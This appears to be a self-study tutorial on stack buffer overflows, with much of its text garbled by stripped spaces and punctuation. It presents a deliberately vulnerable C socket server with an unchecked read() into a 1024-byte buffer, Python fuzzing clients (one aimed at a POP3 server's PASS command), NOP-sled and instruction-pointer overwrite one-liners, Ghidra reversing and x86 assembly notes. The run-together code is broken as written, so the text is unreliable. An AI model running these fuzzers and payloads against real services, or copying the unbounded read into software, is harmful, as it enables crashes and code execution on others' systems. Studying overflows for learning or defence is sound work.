ionbetweenunrelatedprocessesandevenbetweenprocessesrunningondifferentmachinesthatcommunicateoveranetworkSocketsaretheprimarymeansofcommunicatingwithothermachinestelnetrloginftptalkandtheotherfamiliarnetworkprogramsusesocketsincludeltnetinetinhgtTheheaderfileinhcontainsconstantsandstructuresneededforinternetdomainaddressesincludeltunistdhgtThisheaderfilewillprovidevariousconstanttypeandfunctiondeclarationsthatcomprisethePOSIXoperatingsystemAPI

SourceCodetoVulnerableServerandPythonClientcanbefoundhelliphttpsgithubcomsecSandmanBuffer_Overflow_PoC_C_LinuxTheclientPoCpyandclientpyfileswillbeusedtofuzzandattackthevulnerableprogramLaterwersquollexplainwhatandwhyFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards

clientPoCpy

usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=

Serverexpectsapre-fixtellingyouthebuffersizeThiswillhelpustroubleshootintheserverterminal

raw+=structpack(ltIlen(MESSAGE))raw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()

printReceiveddatadata

ThevulnerableServercisthevulnerableCprogramThesourcecodewillexplainthewhatandthewhyofthecodeincaseyouwanttobuildyourownprogramLaterwecoverothervulnerableCfunctionsFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards

VulnerableServerwcommentsonSocketCprogramminginC

AvulnerablenetworkapplicationCtoshowthebasicsoverflowingabufferandwritingasimpleSocketProgram(-8Thankstotaishi8117forthesourcecodeandopensourcingthecodeIupdatedtheServertoruncontinuouslysoyoucanwriteaniterativefuzzeronitPreviouslytheserverterminatedprocessafterthefirstserverresponseThankstoRensellarCollegeandUPENNforleavingyourCCprogrammingmaterialforfreeonthepublicinternetincludeltstdiohgtincludeltstdlibhgtincludeltstringhgtincludeltsystypeshgtincludeltsyssockethgtincludeltnetinetinhgtincludeltunistdhgtincludeltsignalhgtdefinesamacronamedBUFFER_BOUNDARY_SIZEasanabbreviationforthetoken1024HEADER_SIZEisuniquetothisapplicationandisapre-fixedstringaddedtothemessageblockdefineBUFFER_BOUNDARY_SIZE1024defineHEADER_SIZE4Macrowillinsertbuffersizeof1024intocharbuffersettingourbuffersizeto1024bytesvoidvuln_read(intcli_fd)Theserverreadscharactersfromthesocketconnectionintothisbuffercharbuffer[BUFFER_BOUNDARY_SIZE]Assumingthatincomingclientheaderisinlittleendiantheserverwillthenreadthefirst4bytestogetaclientprovidedpre-fixstringstatinghowmanybytestotheclientisprovidingintto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)

if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)

vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0

BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers

ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers

TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing

FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen

FuzzerBuffergtApplicationBuffer

WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

